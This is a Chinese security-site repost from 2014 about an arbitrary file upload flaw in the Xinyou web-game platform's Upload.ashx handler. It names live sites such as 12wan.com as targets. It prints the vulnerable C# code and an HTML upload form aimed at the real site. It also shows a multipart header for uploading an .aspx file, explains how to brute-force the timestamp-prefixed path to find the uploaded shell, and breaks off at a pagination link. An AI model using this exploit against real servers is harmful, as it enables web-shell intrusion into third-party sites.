信游科技页游平台程序通用型文件上传漏洞可攻陷数个主流网游平台下载

来源:黑吧安全网 浏览:1171次 时间:2014-04-28
做网站找雨过天晴工作室

官方案例:

http://52xinyou.cn/anli.htm

从案例里面选了12玩 http://www.12wan.com 做例子,其它雷同(个别有狗)

api里的upload.ashx文件产生的问题。

 

地址:http://www.12wan.com/api/Upload.ashx

 

……
extTable.Add("image", "gif,jpg,jpeg,png,bmp");
extTable.Add("flash", "swf,flv");
extTable.Add("apw", "apw");
extTable.Add("media", "swf,flv,mp3,mp4,wav,wma,wmv,mid,avi,mpg,asf,rm,rmvb");
extTable.Add("file", "cs,doc,ppt,pptx,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,dll,exe,dbo,oleb");

HttpPostedFile file = context.Request.Files["Filedata"];
string _folder = context.Server.MapPath(context.Request["folder"]);
String fileExt = Path.GetExtension(file.FileName).ToLower();
string uploadPath = context.Server.MapPath("~/upload") + "\\";
bool nodate = false;
bool wname = false;
string folder = "";
if (Array.IndexOf(((String)extTable["image"]).Split(','), fileExt.Substring(1).ToLower()) != -1)
{
folder = "image";
}
…………
//如果以上后缀都对不上的话,直接命名文件夹为other
else
{
folder = "other";
}
if (nodate)
{
uploadPath += folder;
}
else
{
uploadPath += folder + "\\" + Utility.NowTime.ToString("yyyyMMdd", DateTimeFormatInfo.InvariantInfo);
}

if (file != null)
{
if (!Directory.Exists(uploadPath))
{
Directory.CreateDirectory(uploadPath);
}
//最后拼凑路径的时候直接使用了file.FileName没有重命名!
var fname = uploadPath + "\\" + Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo) + file.FileName;
file.SaveAs(fname);
if (wname)
{
context.Response.Write(fname);
}
else
{
context.Response.Write("0");
}

}





也就是说文件后缀其实毫无限制。而且路径还是可猜测的!



具体利用(要点小技巧):

Html利用代码:

<html>

<form action="http://www.12wan.com/api/Upload.ashx" name="test" method="post" enctype="multipart/form-data">

<input type="file" name="Filedata" size="23" id="file" />

<input type="submit" value="Submit" />

</form>

</html>



Content-Disposition: form-data; name="Filedata"; filename="a.aspx"

Filename处要小心,可能会带入如c:等路径会导致出错



上传之后会显示:

没有执行context.Response.Write(fname);直接将路径回显怎么办?前面有一个Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo)拼接到了用户名前面怎么办?



仔细看Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo)

HHmmss,意思就是说两位小时数、两位分、两位秒,好办了吧?

看看当前时间:

1933xx,大不了我们就从190000开始暴力破解吗,再看看文件夹路径Utility.NowTime.ToString("yyyyMMdd", DateTimeFormatInfo.InvariantInfo);

简单,如 20140110

好,拼接第一个链接先:

http://www.12wan.com/upload/other/20140110/190000a.aspx

上神器:

设置payload

[1] [2]  下一页